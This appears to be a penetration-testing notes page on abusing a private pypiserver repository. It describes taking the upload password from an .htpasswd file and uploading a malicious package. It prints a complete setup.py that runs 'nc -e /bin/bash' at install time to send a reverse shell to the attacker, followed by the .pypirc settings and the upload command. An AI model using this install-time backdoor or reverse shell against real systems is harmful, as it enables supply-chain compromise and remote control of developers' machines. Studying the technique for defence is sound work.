PyPI Server

PyPI Server (pypiserver) is a minimal PyPi compatible server for pip or easy_install.

What is a PyPI Server?

pypiserver is a minimal PyPI compatible server for pip or easy_install. It is based on bottle and serves packages from regular directories. Wheels, bdists, eggs and accompanying PGP-signatures can be uploaded either with pip, setuptools, twine, pypi-uploader, or simply copied with scp.

PyPI Server helps us to create a Pirvate Python Package Repository.

What happens when someone installs from that server and we have the password?

On that moment that we notice that someone installs all packages from the pypiserver, and we have the password, we can upload our malicious python package.

We will usually find the password inside the .htpasswd file from apache or nginx.

Create our Python Package

Firstly, we need to create a directory with the name of the package, in this example I will use demo_hacking.

Navigate into the newly created directory. And create the following files following the hierarchy:

demo_hacking
├── demo_hacking
│   └── __init__.py
├── README.md
├── setup.cfg
├── setup.py
└── .pypirc

Edit setup.py file, in this file we will put our malicious code. At the moment of the installation package our code will execute on victim's machine. This is an example of reverse shell

from setuptools import setup
import os
os.system("nc -e /bin/bash ip-addr port") #this is the malicious code
setup(
    name='demo_hacking',
    packages=['demo_hacking'],
    description='Demo H4ck1ng edition',
    version='0.1',
    author='mvc1009',
    keywords=['pip','demo','hacking']
    )

Add an example function to __init__.py:

def print_demo():
    print("Demo Hacking")

The setup.cfg file lets PyPI know the README is a Markdown file:

[metadata]
description-file = README.md

Create an empty README.md optionally you can create a LICENSE.txt file:

touch REAMDE.md
touch LICENSE.txt

Finally you need to create the .pypirc file on the home directory:

[distutils]
index-servers =
  pypi
  demo
[pypi]
username:
password:
[demo]
repository: http://localhost:port
username: user
password: password

Hint: Do not forget that you can change the dome directory path: export HOME=path

Finally you need to upload de package to the pypiserver.

python setup.py sdist upload -r demo

References:

• https://pypi.org/project/pypiserver/

• https://www.linode.com/docs/guides/how-to-create-a-private-python-package-repository/